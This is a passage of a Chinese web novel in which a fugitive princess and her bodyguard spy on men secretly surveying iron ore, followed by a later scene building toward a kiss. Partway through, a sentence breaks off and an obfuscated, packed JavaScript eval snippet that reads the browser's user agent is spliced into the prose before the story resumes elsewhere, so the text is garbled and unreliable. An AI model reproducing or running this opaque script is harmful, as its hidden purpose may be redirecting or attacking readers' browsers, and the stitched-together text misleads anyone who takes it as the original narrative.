李眠玉看着燕寔垂下眼睛不言语仿佛失落的模样,忽然又心里生出愧疚,她踌躇了一下,想到燕寔年纪还小,情窦未开呢!便蹲下身来看他,语气娇矜:“我也不是不喜欢你,你是我皇祖父给我的暗卫,我当然也喜欢你,我也信任你,可我喜欢你和喜欢崔云祈不一样呀。” 少年暗卫没再看她,也没吭声,李眠玉看到他脸颊上都是汗,眼看就要掉进眼睛里,下意识伸出手去擦。 燕寔感觉眼皮上轻柔的手指抚过,顿了一下偏头看她,幽静漆黑的眼睛看过来,却没有半点凌厉,显得柔和。 李眠玉咻的一下收回了手背在身后,“你要这么热的话,还是脱了外衫吧。” 燕寔问:“不是在外不能袒露身体吗?” 李眠玉立刻就说:“我是寻常的小娘子吗?我是堂堂宁国公主,我怎会被惊扰到?” 燕寔低头,又伸手摸了摸唇角。 他低头解开衣襟,一抽腰带,将外衫随意搭在井沿。 李眠玉眼神飘忽了一下,目光又落在燕寔湿透了的内衫上,看了会儿,才是若无其事移开,然后,她才意识到燕寔给她买了个浴桶。 接着她想起来自己已是许久没好好泡在浴桶里沐浴过,都是将就在外面溪水旁梳洗,顿时高兴起来,声音都拖长了几分,“燕寔~今晚我就要沐浴,明日我就及笄了,我要干干净净等待我的及笄日!” “嗯。” “燕寔~后山我见有花,晚点你去陪我采点花,我要放在水里泡。” “嗯。” “燕寔~明日我们就去镇子里看看哪家死了人,我要毛遂自荐!” 燕寔听到这一句,才抬起头来看她,猫儿一样带着弧的眼,清亮透黑,似翘了一下。 李眠玉正畅想自己的祭文大业,没有注意到。 -- 约莫申时过半,村子里来了一行人,没惊动人,从一侧山上绕了过去,到山坳深处去。 半刻钟前,李眠玉跟着燕寔刚到屋后面的山上来。 燕寔用草编了只鱼篓挂在腰间,在溪水旁捉鱼虾蚬子,李眠玉则蹲在一旁摘花。 “明日我及笄了,原先崔云祈说给我备了礼的,也不知道究竟是什么,之前他在信里都不肯跟我透露……燕寔,明日你会送我及笄礼吗?” 17.第17章 林涧阴凉,树影婆娑。 李眠玉捧着花蹲在花丛里,想起如今见不到崔云祈,先是无比失落,可转瞬眼波一转,仰头看挽起裤腿站在溪水里的少年暗卫,她唇角抿着笑,颇为矜持,“以往我每一年生辰,青铃姑姑都会给我准备礼物。” 她说到这便不往下说了,只看着燕寔。 燕寔摸了两只虾丢进鱼篓里,漆黑的眼睛看着她:“公主想要什么?” 李眠玉张了张嘴,又想到如今他们能用的银钱就只有燕寔那只小荷包里的几块碎银和铜子儿,又幽幽叹了口气,“这得你自己想。” 燕寔看看她,没吭声,又低头摸了两只虾。 李眠玉蹲得有些累了,站起来走两步,燕寔看她走得不远,也没多管。 这一个多月来,李眠玉到此刻心情才稍稍安宁一些,有了些闲情逸致赏山林景色。只是眺目远望了没多久,她心底又生出失落来,周围寂静,没有人声,明日的及笄礼也不会有诸多宾客贺喜祝福。 她的及笄礼将会无比凄凉,是此前从未想到过的。 她又想皇祖父了,她成人的这天,皇祖父没法来看了。 还有崔云祈……他们本来定好了待她及笄就成婚的。 少女心中诸多愁绪,眉心轻蹙,弯腰又摘了一朵花,直起身时看到一旁有一株建兰,花开几朵,幽幽雅雅,立刻惊喜轻呼:“燕寔你快来!这儿有建兰!” 燕寔听李眠玉唤他的声音急促,以为是她遇到了什么蛇虫,下意识绷紧了身体就要疾奔过去,一听她说什么兰,就松懈下来,将手里的一把蚬子丢进腰间鱼篓里,上岸。 只他右脚刚落地,眉眼忽的一凛,少年身上柔和平静的气息大变,凌厉锋锐,抬眼朝左前方看去。 “燕寔,你能不能用你那把厉害的软剑把这株小建兰挖回去养?但是没有花盆,明日我们去镇子里做生意时能不能买只花盆回来?兰花娇贵,你挖的时候得轻点儿……” 李眠玉还蹲在那儿在想从哪个角度挖兰花最好,手臂便被少年粗糙的手掌攥住,她吓了一跳,手一松,摘的花散落一地,正要斥燕寔,腰就被一搂,后背一下贴近少年温热的胸口,她一呆,一下噤了声。 直到燕寔搂着她靠在一块山石后面,才是恍恍惚惚回过神来,她想起上次燕寔不打招呼扛起她就走,有些紧张,小声问:“怎么了啊?” 燕寔稍稍俯首凑近些,低声:“左手边。” 温热的气息吹拂在耳畔,痒痒的,李眠玉下意识想揉耳朵,但强忍住了,视线朝着左手边看去。 她屏住呼吸眯着眼睛认真看了许久,屏住呼吸:“什么都看不见。” 燕寔:“……” 他想起来李眠玉一双眼妙盈盈的,眼力却不好,夜间不可视物,此时林间树影重重,光线昏暗。 “有人,似官兵。” 李眠玉一听这个,立刻缩回脑袋,再不敢多看,紧张地回身靠近燕寔怀里,语气局促,“怎么会有官兵来这里?他们是来找我的吗?” 如今京都的皇位不是李家人在坐,天下群雄四起,官兵绝不是从前大周王朝的官兵,绝不会见到她就俯首称臣。 虽一路上未曾见到官府告示寻她,可李眠玉知道一直有人在寻自己。 少年低声:“不知道。” 李眠玉有自己的思路,她已经联想到官兵再次找到自己,她和燕寔又要奔亡的惨况。 她的目光落在不远处的小建兰上,又看向不远处散落的花,再想到燕寔给她洗刷干净的大浴桶,心情低落,鼻子一酸,眼眶就有些湿润了,她喃喃说:“皇祖父不在,这世上对我来说就没有安全的地方。” 少女声音哽咽伤感,脆弱可怜。 燕寔左右张望了一下,搂着李眠玉稍稍借力,一个纵跃,跳上了旁边一株高树上。 李眠玉的眼泪和鼻涕泡都僵在一半,身体都在瞬间僵硬了,燕寔还在她耳边说什么狗屁话:“在这儿等我,我下去看看。” “这、这儿?”她唇瓣都在哆嗦了,意识到燕寔要飞走,两只手搂紧了他的腰。 李眠玉觉得自己两条腿软得像面条,抖得似筛糠,无法接受燕寔把自己一个人放在这样高的树上,“你大胆!” 简直是岂有此理! 但她是公主,死也不会说怕,希望她的暗卫有点眼力见。 燕寔没有动。 好半晌后,少年声音如珠玉相击:“抱紧我。” 李眠玉已经抱得很紧了,但她以为燕寔要带她飞下去了,忙点头死死抱住他,可下一瞬,风从耳畔掠过,燕寔带她跃起,下一瞬,她落在另一棵树枝上。 少年暗卫轻盈如猫,哪怕带着李眠玉,李眠玉心跳急速,声都没敢发出来。 没等李眠玉缓过来,燕寔又搂着她连续两个纵跃,落下。 李眠玉已经毫无力气训斥他,只恨不得两只脚都攀在他腰上,死死咬住了唇。 燕寔抬手,无声指了指前面,李眠玉没好气地看过去,这一看便屏住了呼吸。 前方的一块岩壁下,三五人身着黑色劲装,腰佩刀剑,手中拿着些器具,或蹲在地上,或扒在岩壁旁,正打量寻找着什么,其中一人手里拿着张地图,在此地做标记后,又往前去。 李眠玉心中好奇,一瞬间也忘记了害怕,小声问燕寔:“他们在做什么?” 燕寔若有所思,没有立即出声,跟着人群,搂着李眠玉又几个纵跃,跟了一段路。 山里比外面更容易暗下来,李眠玉很快就看不清什么了,正要再问燕寔,就听她的少年暗卫在她耳畔低声说:“在勘探。” “勘探?”李眠玉小声。 燕寔俯首凑在她耳畔:“这里的山上有多处雷击木,他们寻找的多处石块是出露的赭石,其下有铁矿石。” 李眠玉立刻想起读过的书中的一句“上有赭者下有铁”,她心中先是兴奋起来,又转眼想到这大周江山已经被贼子掠夺,便蔫了下来。 尤其她想到将来窃国贼子还要用这些铁矿制成兵器对付皇祖父,她心中就更难受了几分。 李眠玉正哀伤叹气时,听到耳旁少年幽幽的声音:“要不要都杀了?” 她呼吸一顿,声音都磕磕绊绊了:“都、都杀了?” 少年声音沉静,很无情冷酷:“都杀了。” 她的暗卫为何把杀人说得像切瓜一样容易? 李眠玉呆滞一瞬,好半晌后,她摇摇头,也偏头凑到他耳边,小声:“杀了这些人,还会有人来,仅凭你一个人杀不完的。” 免得打草惊蛇。 燕寔没做声,盯着下方的人看了会儿,再看向怀里的人,明润过黑的眼睛盯着看了许久。 李眠玉心里郁郁,没有注意到。 回去的路上,李眠玉一路沉默,燕寔抱着她在那处有建兰的地方停下。 这一处树影稍稀些,那株小建兰就颤巍巍长在石头缝那儿,俏丽可爱,坚韧美丽,李眠玉低头一看到,心情又好起来,她蹲下来,对燕寔招手。 燕寔蹲下身都要挖了,李眠玉却捉住了他的手,他抬头看她,她正垂眸看花,嘟哝:“还是就让它长在这里吧,我们在这里住,我每日都能来看它,就不带走了。” 说完,她唇角抿着笑,玉净花明的一张脸在黄昏暗色下柔和清致。 “大家都说崔云祈就像兰花一样高洁呢!”李眠玉忽然毫无预兆地叹息。 “……” 燕寔定住看她的神色微闪,指着地上散乱的先前李眠玉摘的花束幽声:“那这些花呢?” 李眠玉:“……”她此时高洁得想要赋诗一首的情绪被砸了个稀碎,一下面红了,将目光放到燕寔身上,嗔看他一眼,脆声:“兰花高洁,是用来看的,这些带香的花当然是用来沐浴的。” 少年似好奇,凑近她一些:“那你到底更喜欢哪个?” 李眠玉毫不犹豫:“当然是兰花!” 她张嘴就要与燕寔好好说一说兰花如何美如何高洁,但燕寔大手一抄,将地上的花束抄起,便起身往破屋走。 李眠玉怕黑,忙扯住他袖子,“等等我!” 少年根本没走,待她抓住他袖子才抬腿。 -- 天色彻底晦暗,林间幽黑。 成泉看了看这山坳,忍下心中澎湃,低头将一小块赭石收进腰间荷包里,转身对身后同样神色兴奋的几人道:“今日到这里,先回去回禀公子。” 其余几人皆是熟知地质的行家,知晓此事重要性,忙点头,当下收拾工具。 一行人如来时那般悄然离开了陈家村所在的山坳。 成泉骑的千里宝驹,先行一步回了陇西郡郡治。 他一路进崔府,直奔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等到屋内水声停下,也没听到李眠玉喊自己进去收拾,他眉心微微一蹙,有些疑惑。 又等许久后,屋子里才传来李眠玉颤颤巍巍的声音:“燕寔,你进来。” 燕寔转身推开门,往里望过去。 李眠玉散着半湿的乌发,水红的细布裙裳整齐穿在身上,端坐在土炕边沿,右手拿剪子,左手拿着那半匹布,脸上神情踌躇、迟疑、紧张地比划着。 她看到燕寔进来,乌黑的眼看过来,脸慢腾腾红了,眼睫轻颤,支支吾吾:“燕寔……” 燕寔的目光落在李眠玉那只拿着剪子的手上。 细白、生疏。 李眠玉拿着剪子实在脑子一片空白,分明小裤瞧着很简单,不过几片布缝在一起,可她竟是连剪子该怎么剪都不知。 可她不能没有小裤,也不想再穿那脏了的粗布内衫了。 李眠玉踌躇了一下,矜持端庄起来:“我自髫龄习琴弈书画,鞍马亦颇娴,然因禁苑有绣娘司职,女红素未习,故……”她顿了顿,终于憋不住这范儿了,两眼期盼地看着她能干的暗卫:“燕寔,你会针线吗?” 燕寔:“……” 少年穿着单薄的内衫,衣襟有些松散,露出些漂亮的肌理,在油灯下呈出蜜色的光,他定定看着李眠玉,眼睫轻颤,没有吭声。 李眠玉知道这是默认的意思,心里生出赧然,声音飘忽又娇矜:“你帮我缝两条小裤吧,无需绣花,平平无奇就好……我的及笄礼就要这个了!” 她等了半天,没等到燕寔应声,忍不住抬头皱眉,朝他招手:“你过来啊。” 燕寔很慢地走过去,李眠玉扯住他的衣袖,让他坐在自己身侧。 少年男女并肩挨坐在一起,腿挨着腿,衣缠着衣。 燕寔垂头,漆黑的眼看李眠玉,声音紧绷:“我没见过女子的。” 李眠玉面颊上还沾着水,润红润红,她睫毛一颤,觑眼看他,低头飞快地在自己腿上比划了一下。 燕寔似是看不清、不理解,俯身凑过去看。 李眠玉比划完抬头,燕寔却恰好低头。 柔软的、潮湿的、带着少年男女清新味道的唇瓣毫无预兆的、却又那样契合地贴合在一起。